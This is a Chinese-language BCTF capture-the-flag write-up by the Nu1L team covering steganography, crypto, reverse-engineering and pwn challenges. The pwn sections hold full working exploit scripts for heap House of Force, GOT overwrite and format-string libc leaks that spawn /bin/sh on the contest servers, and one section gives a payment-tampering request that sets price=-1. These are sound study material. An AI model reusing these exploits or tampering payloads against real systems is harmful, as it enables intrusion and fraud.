官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序
*原创作者:Nu1L团队
题目所有文件下载地址:Bctf.rar
Misc & Steganography & forensic & Crypto
1. irc(10分)
直接登录上官方irc可得到flag
2. midifan(150分)
题目 Q: Xiaoming is a fan of MIDI songs, and he found this piece of sheet a bit different. Could you help him find out the hidden message?
听了一天的魂斗罗,整个人都不好了。开始没想到,以为是摩斯密码的,然后发现思路错了,查了查,midi可以用python直接解析,也可以用lilypond,解析出来都没想到具体的解法,直到在google上发现可以将midi转化为xml,在这个网站上flashmusicgames转化完了下载下来,发现其中有一些数据不合理,比如61、361、481等等,之后想到可能是note。
发现其中都是在channel 1 上,Velocity均为80,就在note上浪费了很久的时间。之后想到可能是跟Absolute的61有关,手动提取0,61,120,180,240,300,361,420,如果为奇数位,偶数为0转化为二进制,在转化为01000010,发现是字母B,但是后面转化为11000010,不是C,然后发现如果是反序变为01000011即为C,又因为B是0100010,反序不变,于是,此题可解。首先去掉xml中的多余数据,然后修正一个,使得python可以解析,之后提取Absolute,脚本如下:
import xml.dom.minidom
import sys
import binascii
list1 = []
res = ''
flag = ''
dom = xml.dom.minidom.parse('midi.xml')
root = dom.documentElement
bb = root.getElementsByTagName('Event')
for i in xrange(len(bb)):
b = bb[i]
# print int(b.getElementsByTagName('Absolute')[0].firstChild.data)
if (((int(b.getElementsByTagName('Absolute')[0].firstChild.data) % 60 == 1) | (int(b.getElementsByTagName('Absolute')[0].firstChild.data) % 60 == 0))):
# print
# type(int(b.getElementsByTagName('NoteOn')[0].getAttribute('Channel')))
if (b.getElementsByTagName('NoteOn')):
# print b.getElementsByTagName('NoteOn')[0].getAttribute('Channel')
if int(b.getElementsByTagName('NoteOn')[0].getAttribute('Channel')) == 1:
list1.append(
int(b.getElementsByTagName('Absolute')[0].firstChild.data))
# print list1
list1.append(0)
list2 = sorted(list1)
# print list2
# print i%60
for i in xrange(437):
if (list2[i] / 60 == list2[i + 1] / 60) & (list2[i] % 60 == 0):
list2.remove(list2[i])
# print list2
for i in list2:
res += str(i % 60)
for i in xrange(68):
print res[i * 8:i * 8 + 8][::-1]
for i in xrange(26):
s_10 = int(res[i * 8:i * 8 + 8][::-1], 2)
s_16 = '%x' % (s_10)
s = binascii.a2b_hex(s_16)
flag += s
print flag
3. catvideo(150分)
Q:forensic?
在网上找了好久的工具,没有一个能用的,没办法,在github上找了很久,找了一个ffmpeg然而没学会怎么用,找了找以前的wreiteup有一个日本的博客的wp上面有一个关于提取的脚本,拿下来改改,
#!/usr/bin/python
import cv2
import numpy
import qrcode
cap = cv2.VideoCapture('ts.mp4')
cap.set(cv2.cv.CV_CAP_PROP_POS_MSEC, 3800)
while True:
success, frame = cap.read()
if success:
break
qr_image = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
while cap.get(cv2.cv.CV_CAP_PROP_POS_MSEC) < 4600:
success, frame = cap.read()
if not success:
continue
grayframe = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
cv2.bitwise_or(qr_image, grayframe, qr_image)
cv2.imshow('qrcode', qr_image)
if cv2.waitKey(2) & 0xFf == ord('q'):
break
cap.release()
cv2.imwrite('qrcode.png', qr_image)
cv2.waitKey(0)
cv2.destroyAllWindows()
之后发现下面出现一行flag,然而很不清楚。。。然后开始慢慢猜单词,首先看出来的是cats,does,not,like,然后最后一个单词是d开头,g结尾。之后通过调整脚本中的3800和4600两个数据,发现在不同时刻,不同单词清楚。于是调整,发现最后一次应该是ing结尾,结合关于猫的事情,猜测是drinking,还被队友鄙视一番。之后就是第一个单词,看出来是cute后面看不清,一直在想什么单词是cute开头的,并没有找到,因为flag说了是0-9A-Za-z]|+,就没想别的,结果在某一个瞬间,发现如果是&符号,那后面就可以是一个单独的单词,然后,。。一切都明朗了,wtf~~~ 。
4. Special RSA(200分)
Q:While studying and learning RSA, I knew a new form of encryption/decryption with the same safety as RSA.I encrypted msg.txt and got msg.enc as an example for you.
加密函数中c = (pow(k, r, N) * m) % N
其中只有k是未知的
令t=pow(k, r, N)
有c=t*m%N
利用扩展欧几里德可以求得t
而且有两组数据:
pow(k, r1, N)=t1
pow(k, r2, N)=t2
尝试下rsa共模攻击
关键字common modulus attack找到现成的脚本
(e1, n) = (12900676191620430360427117641859547516838813596331616166760756921115466932766990479475373384324634210232168544745677888398849094363202992662466063289599443, 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131L)
(e2, n) = (7718975159402389617924543100113967512280131630286624078102368166185443466262861344357647019797762407935675150925250503475336639811981984126529557679881059, 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131L)
c1 = 21050269275063947324803736152108894960122834143453871907171889706069292182017441714340845630199726901695235325331162743215493028971840698886694652237493693233562510612601511933544385719792087669184188577257426314936474401349404047895204434845607471209321070641238142431886829644762263880353945176747824295861773784296485143574724157411701384084642412647460092918280364241325796565550082230981630789430160325171428941325164099673663196407439039250584955677662418429817961970120515321431370774024177287738150427369478834235920832376988907441000788444734564377426364934553237120525037142991363604288054944470726414900627
c2 = 6450984114106657233418272201667817010768003811756575350064243420877391894365353747069532492005631706505537625725185847890305749446294465596475368239792417224814540364037312829242769458491279070913902496186534058889668940647382402026752270529611203130010362248980055145615851893813096026876153582356477939111070601783786491932490927153302914437902634211112496671182359706019466893672546770021703829360700572739573729669067501821556528672020020952478557547749543804975103585024833805220345272127706528601277722403999642507250963456431679257566679612247350741121349306893059826143033437954988365464143578911826517264933
def gcd(a, b):
if a == 0:
x, y = 0, 1;
return (b, x, y);
tup = gcd(b % a, a)
d = tup[0]
x1 = tup[1]
y1 = tup[2]
x = y1 - (b / a) * x1
y = x1
return (d, x, y)
#solve the Diophantine equation a*x0 + b*y0 = c
def find_any_solution(a, b, c):
tup = gcd(abs(a), abs(b))
g = tup[0]
x0 = tup[1]
y0 = tup[2]
if c % g != 0:
return (False, x0, y0)
x0 *= c / g
y0 *= c / g
if a < 0:
x0 *= -1
if b < 0:
y0 *= -1
return (True, x0, y0)
import sys
sys.setrecursionlimit(5000)
(x, a1, a2) = find_any_solution(e1, e2, 1)
if a1 < 0:
(x, c1, y) = find_any_solution(c1, n, 1) #get inverse element
a1 = -a1
if a2 < 0:
(x, c2, y) = find_any_solution(c2, n, 1)
a2 = -a2
m = (pow(c1, a1, n) * pow(c2, a2, n)) % n
print m
得到
k=175971776542095822590595405274258668271271366360140578776612582276966567082080372980811310146217399585938214712928761559525614866113821551467842221588432676885027725038849513527080849158072296957428701767142294778752742980766436072183367444762212399986777124093501619273513421803177347181063254421492621011961
把key带进原来的脚本解密得到flag
BCTF{q0000000000b3333333333-ju57-w0n-pwn20wn!!!!!!!!!!!!}
5. hsab(250分)
Q:bash?
连上nc发现需要爆破下才能登陆,写了个脚本:
#!/usr/env python
from zio import *
from hashlib import sha256
import sys
from os import urandom
io = zio(('104.199.132.199', 2222))
io.read_until('starting with \'')
t = io.read_until('\'')[:-1]
while True:
x = urandom(8).encode('hex')
if sha256(t + x).hexdigest().startswith('00000'):
io.write(t + x+'\n')
break
io.interact()
进入后发现是bash的命令行,然后cat,ls这些常见命令都被禁了,尴尬= =
输入help,发现开启的一些命令:
发现有echo,于是就echo *看了下目录,发现flag的目录:
然后就各种读flag:
value=$(</home/ctf/flag.ray) | echo "$value"这种的都不行,<应该也被限制了。和队友讨论了下,队友说你试试bash –v行吗。。。果真老司机= =
得到最后flag。
6. zerodaystore(200分)
给了一个安卓apk和一段server的Python代码,代码见 https://gist.github.com/virusdefender/9aec40d6ae73ead56429
安卓大致的逆向了一下,就觉得order和pay的url是有用的,其余没啥问题。问题应该在server上,需要修改price。
可控的位置是`androidID`,一般混淆也就是它的值设置为`123&price=-1`,但是这里会在循环中被实际的price覆盖掉。
后来在想到需要利用Python的base64解码的特点,
```python
In [4]: import base64
In [5]: base64.b64encode("xxxxxxxxxx")
Out[5]: 'eHh4eHh4eHh4eA=='
In [6]: base64.b64decode("eHh4eHh4eHh4eA==")
Out[6]: 'xxxxxxxxxx'
In [7]: base64.b64decode("eHh4eHh4eHh4eA==!")
Out[7]: 'xxxxxxxxxx'
In [8]: base64.b64decode("eHh4eHh4eHh4eA==!eHh4eHh4eHh4eA==")
Out[8]: 'xxxxxxxxxx'
```
这样把price放在最后面就可以了。
```python
print requests.post("http://paygate.godric.me/pay", data="orderID=12368911859&price=80000&productID=1&timestamp=1458482306973&signer=RSA&hash=sha256&nonce=733d2f88ea74af8a&sign=TzdQaIa7qT/tTb6UNvzl25irdxiFYOj3hq932Wdozzkazsj1cIpzEhE2mnrUewwnuG2lPGpulqdMTGgMJgsUYWrKxEjpk3EKnWukgASyfap9N9EcsgKw67/2wJ00o1Nxc098jTxurLnW2lBfSXNQySDI+M7o0NzD58nYq/Rjzl3NkYFlF+fTf+ZxejM0J+uZCDDi7BZoFhTpFXrV0OPso6Ltefb+o0ZvI6YcBULHRdOVIhzhhnkY68xTBI2ULAH0OEttDls7PlLZnEYYuT92oSr7Q38W6ilpe1EG27czkVCVbuK3AMvfwaLbQnajuOrNz+JumG7TdFSbkwl8Rfgarw==!&price=-1").content
```
验证代码取到的sign就是带有`!&price=-1`的,但是base64解码后还和原来的是一样的,而解析price的时候却会读取到最后一个price。
结果是`{"status": 4, "data": "BCTF{0DayL0veR1chGuy5}"}`
Reverse
1. LostFlower(250分)
Q:reverse LostFlower
java层分析得出stringFromJNI要返回4才会输出flag,打开so发现用ollvm混淆过了,有大量无效指令,so中有4个check函数比较可疑,动态跟踪下发现只有check1用到了,并且check1要返回1,最后stringFromJNI才会返回4,在my_pow函数下断分析出输入有10位数字,并且每一种数字对应唯一一种输出,所以10位数字对应的输出相加的到v15:
然后进入sub_1aa4,这个函数对输入做取绝对值操作:
返回结果要小于0才能check1返回1。取绝对值之后返回负数,只有当输入为最小负数时才成立(0x80000000),用c爆破得到输入:1422445956。
#include<stdio.h>
#include<string.h>
int main()
{
int arr[] = {0, 1, 0x400 ,0xe6a9 ,0x100000 ,0x9502f9 ,0x39aa400 ,0x10d63af1 ,0x40000000 ,0xcfd41b91};
int sum = 0,tmp;
for(int i=0;i<2147483647;++i)
{
int z = 10;
int j = i;
sum = 0;
while(j%z!=0)
{
sum += arr[j%z];
j = j/10;
}
if(i + 0x59357062 - sum - 0x59357062 == 0x80000000)
{
printf("find! %d\n", i);
break;
}
}
return 0;
}
2. sid(350分)
题目分了两个人做:
Part 1
过了好久才发现是Squirrel语言,于是到处找decompiler,在github上面找到了NutCracker:https://github.com/darknesswind/NutCracker。
只可惜是v2 32位的,而题目是v3 64位的
于是开始疯狂的改程序。方法是对着squirrel的源代码,找到sqobject然后对着看。
(注:这个代码坑人,只能在英文目录下面编译,因为他自带的moc.exe不识别中文路径)
之后反编译出来得到代码。
Part 2
sif是松鼠脚本编译的
神奇的队友修改了nutcrack,把它反编译了
大概逻辑是
先成成md5(key+filename),前8个字节作为加密后文件的头,可以忽略
后8个字节(准确的说是6个字节)作为一个初始值x,传递给一个序列生成函数
注意,这里是按照小端处理。
序列生成函数为:
while (true)
{
yield x;
x = x * 0x5deece66d + 11;
x = x & ((1 << 48) - 1);
}
每次取x的高32位(4字节)与明文异或得到密文
png格式的前8个字节是固定的
而由于序列的第一个值为x,所以x的高32位直接暴露了,可以穷举2个字节
f1=bytearray('\x89\x50\x4e\x47\x0d\x0a\x1a\x0a')
f2=bytearray(open('flag.png','rb').read()[8:16])
r=''
for i in range(0,len(f2)):
r+=chr(f1[i]^f2[i])
print hex(f1[i]^f2[i])
org=0xc3e61810000
for bp in range(0xfffff+1):
x=org+bp
t=0x5deece66d
x = x * t + 11
x = x & ((1 << 48 ) - 1)
rk=x
if rk>>40&0xff==0xfd and rk>>32&0xff==0xc8 and rk>>24&0xff==0x8e and rk>>16&0xff==0x94:
print 'get:'
print hex(org+bp)
得到x=0xc3e618181ea
解密脚本
x=0xc3e618181ea
xl=''
while len(xl)<2400:
rk=x
xl+=chr(rk>>40&0xff)
xl+=chr(rk>>32&0xff)
xl+=chr(rk>>24&0xff)
xl+=chr(rk>>16&0xff)
t=0x5deece66d
x = x * t + 11
x = x & ((1 << 48 ) - 1)
f=open('f.png','wb')
f1=bytearray(xl)
f2=bytearray(open('flag.png','rb').read()[8:])
r=''
for i in range(0,len(f2)):
r+=chr(f1[i]^f2[i])
f.write(r)
f.close()
flag.png打开是个二维码
#FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE#
The flag is: BCTF{550_loveca_w1th0ut_UR}
#FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE##FLAGE#
3. toooooo many switches(700分)
Q:- hint: If you get the correct flag, you will see congratulations message.
- hint2: There are many possible input that look like flag, but only 1 of them is the correct flag.
- hint3: This program is made by many switch case code.
- hint4: The hash check function called by many switches is actually using a kind of memory hard key derivation function, and to make life easier, the last param for the check function is 4.
- hint5: The flag format is BCTF{[a-zA-Z0-9_+=<>.?]+}, the charset is bigger than normal flag charset. Thanks to Zzzzzzz for pointing out.
这题真是无语TAT,分析了好久的算法结果发现根本不用分析...
拿到程序之后,发现是UPX加壳,于是直接upx –d得到原文件。
等了自动分析了好久,发现是动态连接的,ida已经自动识别的main函数
验证逻辑十分简单,关键函数就在0x00400A70处。
虽然题目说是switch-case结构,但是个人更愿意把它理解成一个VM
大概就是先把下一个要执行的位置设定好,然后跳到Dispatcher
Dispatcher装载好下一个字节,并按照之前的设定跳转到相应的位置。
如此往复,即可实现flag的验证。
开始想直接无脑爆破,结果发现除了那个长长的大表,还有6个小表,中间的函数有些还是3-5情况。但是很多flag都能到最后一步,所以跑回去看题目中图片。注意到了时间为14s。
于是随便推出一个flag开始分析。发现在0x799CC0的这里
竟然要循环0x10000次
在这里也要循环好多次:
发现这两个的循环次数由a5 a6 a7决定
于是编写脚本,提取调用0x799CC0,即调用0x400990的参数:
from idaapi import *
from idc import *
def get_string(addr):
out = ""
while True:
if Byte(addr) != 0:
out += chr(Byte(addr))
else:
break
addr += 1
return out
func_ea = 0x400990
func = get_func(func_ea)
if not func is None:
for xref in CodeRefsTo(func_ea,0):
#print "cur: 0x%08X" % (xref)
a7 = 0
a6 = 0
a5 = 0
pstr = 0
ftype = 0
if (Byte(xref - 0x10) == 0x4C and Byte(xref - 0x10 + 1) == 0x89 and Byte(xref - 0x10 + 2) == 0xC6 and Byte(xref - 0x10 + 3) == 0x41 and Byte(xref - 0x10 + 4) == 0x89 and Byte(xref - 0x10 + 5) == 0xC0 and Byte(xref - 0x10 + 6) == 0x41 and Byte(xref - 0x10 + 7) == 0x89 and Byte(xref - 0x10 + 8) == 0xC1):
if (Byte(xref - 7) == 0xc7 and Byte(xref - 6) == 0x04 and Byte(xref - 5) == 0x24):
a7 = Dword(xref - 4)
if Byte(xref - 0x28) == 0xb8:
a6 = Dword(xref - 0x28 + 1)
a5 = a6
if (Byte(xref - 0x39) == 0x48 and Byte(xref - 0x39 + 1) == 0xBA):
pstr = Qword(xref - 0x39 + 2)
ftype = 1
elif (Byte(xref - 13) == 0xc7 and Byte(xref - 12) == 0x04 and Byte(xref - 11) == 0x24):
a7 = Dword(xref - 10)
if Byte(xref - 0x20) == 0x41 and Byte(xref - 0x20 + 1) == 0xB9:
a6 = Dword(xref - 0x20 + 2)
if Byte(xref - 0x37) == 0x48 and Byte(xref - 0x37 + 1) == 0xBA:
pstr = Dword(xref - 0x37 + 2)
if Byte(xref - 0x26) == 0x41 and Byte(xref - 0x26 + 1) == 0xb8:
a5 = Dword(xref - 0x26 + 2)
ftype = 2
elif ((Byte(xref - 7) == 0xc7 and Byte(xref - 7 + 1) == 0x04 and Byte(xref - 7 + 2) == 0x24)):
a7 = Dword(xref - 7 + 3)
if Byte(xref - 0x15) == 0x41 and Byte(xref - 0x15 + 1) == 0xB9:
a6 = Dword(xref - 0x15 + 2)
if Byte(xref - 0x2c) == 0x48 and Byte(xref - 0x2c + 1) == 0xBA:
pstr = Qword(xref - 0x2c + 2)
if Byte(xref - 0x1b) == 0x41 and Byte(xref - 0x1b + 1) == 0xb8:
a5 = Dword(xref - 0x1b + 2)
ftype = 3
print "cur: 0x%08X type: %d a5=%4d,a6=%4d,a7=%4d,result=0x%08x,str=0x%08X(%s)" % (xref,ftype,a5,a6,a7,(((1 << a7) * (1 << a6 << 7) + 63) >> 6) & 0xffffffff,pstr,GetString(pstr,-1,ASCSTR_C))
得到形如这样的结果:
导入到excel中,排序得到符合hint要求的情况(a7 == 4)
之后发现从最后的验证处倒退,对应结果是唯一的
于是写脚本:
#-*- coding: utf-8 -*-
#coding=utf-8
from idaapi import *
from idc import *
import struct
start_find_ea = 0x00400B0F
end_find_ea = 0x00799558
def get_flag(start_ea,last_time_str):
cur_func = get_func(start_ea).startEA
ea = 0
next_func = 0
#获取switch-case表中的偏移
xref = DataRefsTo(cur_func)
xref_num = 0
for ea in xref:
xref_num = xref_num + 1
if(ea == 0 or xref_num > 1):
print "Error! Can't find data xref or more than one xref"
return last_time_str
#print "cur data xref:",hex(ea)
if(ea < 0x814748):#不处于小表中
#搜索调用偏移的位置
calling_offest = (ea - get_name_ea(BADADDR,"Switches")) / 8
find_str = "C7 45 DC "+ ' '.join(map(lambda x:x.encode('hex'),list(struct.pack("<I",calling_offest))))
next_func = find_binary(start_find_ea,end_find_ea,find_str,16,SEARCH_CASE)
if(next_func == BADADDR):
print "ended or error finding next func"
return last_time_str
#next_func = get_func(next_func).startEA
#找到判断位置
#print "Nextfunc:",hex(next_func)
xref = CodeRefsTo(next_func,0)
ea = 0
xref_num = 0
for ea in xref:
xref_num = xref_num + 1
if(ea == 0 or xref_num > 1):#不是代码引用
#print "Error! Can't find code xref or more than one xref"
#return last_time_str
xref = DataRefsTo(next_func)
ea = 0
xref_num = 0
for ea in xref:
xref_num = xref_num + 1
if(ea == 0 or xref_num > 1):#不是数据引用
print "Error! Can't find code or data xref"
return last_time_str
#return get_flag(next_func,last_time_str)#处理数据引用
smalltable1_start = 0x814748
smalltable1_end = 0x8149C8
smalltable2_start = 0x8149C8
smalltable2_end = 0x0000000000814C48
smalltable3_start = 0x0000000000814C48
smalltable3_end = 0x0000000000814EE8
smalltable4_start = 0x0000000000814EE8
smalltable4_end = 0x0000000000815190
smalltable5_start = 0x0000000000815190
smalltable5_end = 0x0000000000815410
smalltable6_start = 0x0000000000815410
smalltable6_end = 0x0000000000815448
#print "Smalltable address:",hex(ea)
if(ea >= smalltable1_start and ea < smalltable1_end):
cur_char = (ea - smalltable1_start)/8 + 0x2B
next_func = 0x000000000068C0B7
elif(ea >= smalltable2_start and ea < smalltable2_end):
cur_char = (ea - smalltable2_start)/8 + 0x2B
next_func = 0x0000000000685D02
elif(ea >= smalltable3_start and ea < smalltable3_end):
cur_char = (ea - smalltable3_start)/8 + 0x30
next_func = 0x0000000000646DD1
elif(ea >= smalltable4_start and ea < smalltable4_end):
cur_char = (ea - smalltable4_start)/8 + 0x2B
next_func = 0x00000000005B528A
elif(ea >= smalltable5_start and ea < smalltable5_end):
cur_char = (ea - smalltable5_start)/8 + 0x2B
next_func = 0x000000000048D909
elif(ea >= smalltable6_start and ea < smalltable6_end):
cur_char = (ea - smalltable6_start)/8 + 0x50
next_func = 0x0000000000485A2D
last_time_str = chr(cur_char) + last_time_str
#print last_time_str
#print
return get_flag(next_func,last_time_str)
#处理代码引用
#print "Check position:",hex(ea)
#获取对应char
cur_char = 0
if(Byte(ea) == 0xEB and Byte(ea+1) == 0x00 and Byte(ea-0xB) == 0x83 and Byte(ea - 0xB + 1) == 0xE8):
cur_char = Byte(ea - 0xB + 2)
elif(Byte(ea) == 0xEB and Byte(ea+1) == 0x00 and Byte(ea-8) == 0x83 and Byte(ea - 8 + 1) == 0xE8):
cur_char = Byte(ea - 8 + 2)
elif(Byte(ea-0xF) == 0x83 and Byte(ea - 0xF + 1) == 0xE9):
cur_char = Byte(ea - 0xF + 2)
#elif("""Byte(ea) == 0x74 and """Byte(ea-0x9) == 0x83 and Byte(ea-0x9+1) == 0xe8):
elif(Byte(ea-0x9) == 0x83 and Byte(ea-0x9+1) == 0xe8):
cur_char = Byte(ea - 0x9+2)
else:
print "Error! Can't find cur_char"
return last_time_str
else:#处于小表中
smalltable1_start = 0x814748
smalltable1_end = 0x8149C8
smalltable2_start = 0x8149C8
smalltable2_end = 0x0000000000814C48
smalltable3_start = 0x0000000000814C48
smalltable3_end = 0x0000000000814EE8
smalltable4_start = 0x0000000000814EE8
smalltable4_end = 0x0000000000815190
smalltable5_start = 0x0000000000815190
smalltable5_end = 0x0000000000815410
smalltable6_start = 0x0000000000815410
smalltable6_end = 0x0000000000815448
#print "Smalltable address:",hex(ea)
if(ea >= smalltable1_start and ea < smalltable1_end):
cur_char = (ea - smalltable1_start)/8 + 0x2B
next_func = 0x000000000068C0B7
elif(ea >= smalltable2_start and ea < smalltable2_end):
cur_char = (ea - smalltable2_start)/8 + 0x2B
next_func = 0x0000000000685D02
elif(ea >= smalltable3_start and ea < smalltable3_end):
cur_char = (ea - smalltable3_start)/8 + 0x30
next_func = 0x0000000000646DD1
elif(ea >= smalltable4_start and ea < smalltable4_end):
cur_char = (ea - smalltable4_start)/8 + 0x2B
next_func = 0x00000000005B528A
elif(ea >= smalltable5_start and ea < smalltable5_end):
cur_char = (ea - smalltable5_start)/8 + 0x2B
next_func = 0x000000000048D909
elif(ea >= smalltable6_start and ea < smalltable6_end):
cur_char = (ea - smalltable6_start)/8 + 0x50
next_func = 0x0000000000485A2D
last_time_str = chr(cur_char) + last_time_str
#print last_time_str
#print
return get_flag(next_func,last_time_str)
得到了556个flag
然后利用pwntools来爆破:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os
def main():
f = open("data3","r")
bufs = f.read().split('\n')
f.close()
buf = bufs[160:]
k = 0
for i in buf:
log.info("running with : " + i)
args = ['./toooooo-many-switches.0d37258813df342629a335a35f040be6', i]
io = process(args)
result = io.recv(99999)
print result
if 'Congratulatinos' in result:
fp = open("flag","w")
fp.write(i)
fp.close()
log.success("FOUND!!!!")
print i
exit(0)
io.close()
print len(bufs)
return 0
if __name__ == "__main__":
main()
得到正确flag:BCTF{piYqQQ4EjJNs6<wL}
(TAT比FlappyPig慢了一步)
PWN
1. bcloud(150分)
放题目顺序不对啊...拿到这个题目分析之后发现和200漏洞利用方式一样,于是直接搞定了。
原来ruin多的50分是libc hunting的分么...
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
# flag = BCTF{3asy_h0uSe_oooof_f0rce}
#io = process('./bcloud')
io = remote('104.199.132.199', 1970)
atoi_got = 0x0804B03C
printf_plt = 0x080484D0
libc_ret = 0x19A83
system_offset = 0x40190
def s32(x):
return c_int32(x).value
def newnote(length,content):
io.recvuntil('>>\n')
io.sendline('1')
io.recvuntil('\n')
io.sendline(str(length))
if content != "":
io.recvuntil(':')
io.send(content)
return
def editnote(id,content):
io.recvuntil('option--->>')
io.sendline('3')
io.recvuntil(':')
io.sendline(str(id))
io.recvuntil(':')
io.send(content)
return
def delnote(id):
io.recvuntil('option--->>')
io.sendline('4')
io.recvuntil(':')
io.sendline(str(id))
return
def sync():
io.recvuntil('option--->>')
io.sendline('5')
return
def main():
name = 64 * '\xff'
io.recvuntil('name:')
io.send(name)
io.recvuntil(' ')
buf = io.recvuntil('!')[:-1].lstrip('\xff')
heap_addr = u32(buf+(4-len(buf))*'\x00')
log.info('Heap address = ' + hex(heap_addr))
org = 64 * '\xff'
io.recvuntil('Org:')
io.send(org)
host = 64 * '\xff'
io.recvuntil('Host:')
io.send(host)
top = heap_addr - 8 + 0x48 + 0x48 + 0x48
size = atoi_got - 8 - top - 4 - 8;
newnote(s32(size),"")
newnote(32,"A"*4+p32(printf_plt)+'\n')
io.recvuntil('->>')
io.sendline('aaaaaa%31$p')
io.recvuntil('0x')
buf = int(io.recvuntil("I")[:-1],16)
libc_base = buf - libc_ret
log.success("Libc base = " + hex(libc_base))
system_addr = libc_base + system_offset
io.recvuntil('->>')
io.sendline('aaa')
io.recvuntil(':')
io.sendline('a')
io.recvuntil(':')
io.sendline("A"*4+p32(system_addr))
io.sendline("/bin/sh")
#newnote(-1,"")
io.interactive()
return 0
if __name__ == '__main__':
main()
2. ruin(200分)
拿到题目,分析程序,发现在edit_secret处有溢出,可以覆盖top块的size,于是想到了malloc maleficarum这篇文章中提到的House Of Force方法。修改top的size为0xffffffff,就可以申请无限大内存块,使top块下一次分配到任意位置的堆块。在程序开头处输入key的地方可以泄露堆地址,于是就可以过掉aslr,通过计算申请到.got.plt处的堆块。
接下来就是麻烦的地方了,题目没有给libc,无法得知system的偏移,于是把atoi的plt改成printf,利用fsb来dump libc,得到system偏移,然后就ok了。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
# flag = BCTF{H0w_3lf_Ru1n3d_XmaS}
atoi_got = 0x10F80
printf_plt = 0x00008594
libc_ret_off = 0x76e3381c - 0x76e1c000
libc_system = 0x3a230
#io = remote('127.0.0.1', 33334)
io = remote('166.111.132.49', 9999)
def s32(x):
return c_int32(x).value
def us32(x):
return c_uint32(x).value
def keys(content):
io.recvuntil('choice(1-4):')
io.sendline('1')
io.recvuntil('key:')
io.send(content)
return
def sign_name(length,content=''):
print io.recvuntil('choice(1-4):')
io.sendline('3')
print io.recvuntil('length:')
io.sendline(str(length))
if content != '':
print io.recvuntil('name:')
io.send(content)
return
def edit_secret(secret):
io.recvuntil('choice(1-4):')
io.sendline('2')
io.recvuntil('secret:')
io.sendline(secret)
return
def leak(address):
log.info('Address = '+hex(address))
if '\x0a' in p32(address):
return '\x00'
fsb = r'%8$s' + 6*'a' + 2*'\x00' + p32(address)
fsb += '\n'
print fsb.encode('hex')
print io.recvuntil('choice(1-4):')
io.send(fsb)
data = io.recvuntil('aaaaaa')
print data
data = data[:-6]
print data.encode('hex')
return data + '\x00'
def pwn(offset):
io.recvuntil('key:')
io.send('aaaaaaaa')
buf = io.recvuntil(' ')[:-1] # heap address
io.recvuntil('key:')
io.send('security')
buf.encode('hex')
heap_1 = u32(buf[8:] + (4-len(buf[8:]))*'\x00')
log.success('Heap Address = ' + hex(heap_1))
top = heap_1 + 8
size = atoi_got - 8 - top - 4
log.info('Size = ' + hex(us32(size)))
edit_secret('a'*8+'\x00\x00\x00\x00'+'\xff\xff\xff\xff') # edit top's chunksize
sign_name(s32(size)) # now we can overwrite atoi's got
payload = p32(printf_plt)
payload = payload + (16-len(payload))*'C'
keys(payload)
# %21$p = libc_start_main_ret
io.recvuntil('choice(1-4):')
io.sendline(r'%21$p')
addr = int((io.recvline()[:-1])[2:],16)
log.info('Libc_start_main_ret = ' + hex(addr))
libc_base = addr - libc_ret_off
log.info('Libc Base = ' + hex(libc_base))
system_addr = libc_base + libc_system
log.success('System = ' + hex(system_addr))
io.recvuntil('choice(1-4):')
io.sendline('')
io.recvuntil('key:')
io.send(p32(system_addr)+12*'a')
io.recvuntil('choice(1-4):')
io.sendline('/bin/sh\x00')
'''
p = libc_base
f = open('libc_dump.bin', 'wb')
while 1:
buf = leak(p)
f.write(buf)
p += len(buf)
f.close()
'''
io.interactive()
'''
# guess system's address
system_addr = addr + 0x10000 + offset
log.info('Guessed addr = ' + hex(system_addr))
io.recvuntil('choice(1-4):')
io.sendline('')
io.recvuntil('key:')
io.send(p32(system_addr)+12*'a')
io.recvuntil('choice(1-4):')
io.sendline('id')
buf = io.recv(9999)
'''
'''
dyn = DynELF(leak,elf=ELF('./ruin'))
system = dyn.lookup('system', 'libc')
log.success('System addr = ' + hex(system))
'''
return
if __name__ == '__main__':
try:
pwn(0)
except Exception, e:
io.interactive()
3. happygirlsday(350分)
Part1:
happygirlsday (exploit&misc 350)
流水账部分
拿到赛题文件就各种试。
查看文件头
文件头是0xC0DEF00D。Github.com搜索0xC0DEF00D,得到。
怀疑是v9-cpu。然后搭环境试验(https://github.com/chyyuu/v9-cpu)。
与nc 104.199.132.199 2666的效果一致。
下一步目标是搭建调试环境,逆向分析,找漏洞。
指令集学习
https://github.com/chyyuu/v9-cpu/blob/master/doc/cpu.md反汇编
使用 ./dis 命令得到反汇编代码。
调试器
使用 ./xem -g进行调试。
断点功能
通过修改em.c代码,为调试器添加“断点”功能。
逆向分析:
阅读./dis 得到happygirlsday的反汇编代码,根据寻址特征,修改了反汇编结果中的call labelxx部分,并参照/v9-cpu/blob/master/doc/cpu.md 以及v9-cpu/root/usr/os/下的代码os2.c,os5.c。识别了赛题文件的绝大多数‘系统’函数。
赛题文件反汇编结果。
Os5.c部分代码
赛题文件的大致流程分为两部分。
第一部分为程序读取用户输入,将input转换成index,屏幕输出字符串stringtable[index]。
转换的核心算法为:
def getindex(str):
str_len=len(str)
sum=0
for i in range(str_len):
sum=sum+i*ord(str[i:i+1])
return sum%0x14
第二部分大致流程为根据用户传入字符串转换后的index,决定是否进入有问题的代码段。
剩下的部分交给队友了!
